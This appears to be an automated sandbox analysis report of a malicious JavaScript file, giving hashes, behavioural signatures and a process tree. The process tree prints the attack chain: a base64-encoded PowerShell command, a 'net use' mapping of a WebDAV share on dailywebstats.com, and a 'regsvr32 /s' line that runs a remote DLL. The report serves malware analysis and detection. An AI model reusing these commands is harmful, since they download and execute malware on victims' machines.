Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 02:21

General

  • Target

    31846720788706034.js

  • Size

    10KB

  • MD5

    8d0ae58286b7ecedbade227cc58651db

  • SHA1

    e1d62c8b899e33babdb94dfbbbc8af69276cf4fc

  • SHA256

    37473d76e315a6b46bc57bd1212acf78fa02b57d42da6ff537221cd06e268f34

  • SHA512

    fdc1ca4e3f3fa7deb6673475574315a7020528f17c58c7ed3fe2bb5a5e4648f0ff3a7bd1430e1f902250c6dbf8af109d4a14725f05f85d6e66aa06d10edd640b

  • SSDEEP

    96:hsMYK/u4+1nm94qRyiVLbkIh/LUyd/Gwwhg18OLj5S4eZdF7ITDUK/gdRLj5S4eg:hs9K73CqRbVUI5gyd/LRYBRRYK+G91

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31846720788706034.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIAOQA5ADcAOAAyADcAMQA4ADEANAAyADEAOQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:968
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\29978271814219.dll
          3⤵
            PID:4960

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcxuyb0u.zec.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2156-0-0x00007FFA55E33000-0x00007FFA55E35000-memory.dmp

        Filesize

        8KB

      • memory/2156-6-0x0000029AA0010000-0x0000029AA0032000-memory.dmp

        Filesize

        136KB

      • memory/2156-11-0x00007FFA55E30000-0x00007FFA568F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2156-12-0x00007FFA55E30000-0x00007FFA568F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2156-15-0x00007FFA55E30000-0x00007FFA568F1000-memory.dmp

        Filesize

        10.8MB